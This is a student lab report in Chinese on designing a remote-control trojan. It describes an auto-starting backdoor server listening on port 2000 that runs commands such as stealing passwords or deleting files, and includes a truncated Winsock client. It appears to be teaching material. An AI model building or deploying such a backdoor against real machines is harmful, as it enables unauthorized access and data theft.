远程控制和木马程序设计.docVIP

  • 40
  • 0
  • 约9.97千字
  • 约 9页
  • 2017-05-13 发布于北京
  • 举报
远程控制和木马程序设计

实验题目 远程控制与木马程序设计 实验目的 掌握远程控制的一般原理与类型,实现利用网络scoket套接字完成计算机远程通信过程,学生深入理解和掌握基于TCP/IP协议的网络通信概念、原理,以及网络客户机/服务器模型的结构概念。 熟悉常用的Windows API函数的用法,利用C++或VB语言实现木马程序的设计。 实验条件和环境 Windows XP SP3 Microsoft Virtual C++ 实验方法(系统功能、结构设计,软件流程图等) 利用Socket进行网络远程通信设计 使用套接字Socket在两台计算机实现通信过程中,首先假设一台是服务端,另一台是客户端。服务端先启动,建立一个套接字Socket,并对相应的IP和端口进行绑定、监听;客户端也建立一个套接字Socket,并对其相应的IP和端口进行绑定,然后与服务端连接,待其相应后,双方可以实现远程通信。 服务端流程如下: socket()-bind()-listen()-accept()-recv()/send()-closesocket() 客户端流程如下: socket()-connect()-recv()/send()-closesocket() 远程控制与木马程序 远程控制实际上是包含有服务器端和客户端的一套程序服务器端程序驻留在目标计算机里,随着系统启动而自行启动。此外,使用传统技术的程序会在某端口进行监听,若接收到数据就对其进行识别,然后按照识别后的命令在目标计算机上执行一些操作(比如窃取口令,拷贝或删除文件,或重启计算机等)。 攻击者一般在入侵成功后,将服务端程序拷贝到目标计算机中,并设法使其运行,从而留下后门。日后,攻击者就能够通过运行客户端程序,来对目标计算机进行操作 。 总体流程: 通过C/S运行模式并结合进程与匿名管道技术来实现的,主体分为两部分:即客户端和服务端木马程序。其原理为服务端程序在目标计算机中采用自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建立连接,服务段木马程序根据客户端的指令而执行相应的操作。 软件流程图: 实验结果及结论 附录:程序清单及说明 客户端程序: #include stdio.h //包含标准输入输出库 #include winsock.h //包含windows套接字函数 #pragma comment(lib,Ws2_32) //将注释wsock32放置到lib文件中,否则需要加载 #define MAXSIZE 2048 //每次可以接收的最大字节 #define SEND_PORT 2000 //与木马程序连接的端口为2000 struct sockaddr_in ClientAddr; //对方的地址端口信息 SOCKET sock; //定义套接字变量,为全局变量 DWORD startSock() //建立套接字功能模块 { WSADATA WSAData; //将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),WSAData)!=0) { //MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); } sock = socket(AF_INET, SOCK_STREAM, 0); //连接对方 return 1; } int main(int argc, char *argv[]) { u_int numbyte; char buf[MAXSIZE]; //传送数据的缓冲区 if (argc != 2) { //需要有服务端ip参数,格式:client.exe IP地址 fprintf(stderr,usage: client hostname\n); exit(1); } startSock();//调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; //协议类型是INET ClientAddr.sin_port = htons(SEND_PORT); //连接对方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(argv[1]); //连接对方的IP地址 connect(sock, (struct sockaddr *)Client

文档评论(0)

1亿VIP精品文档

相关文档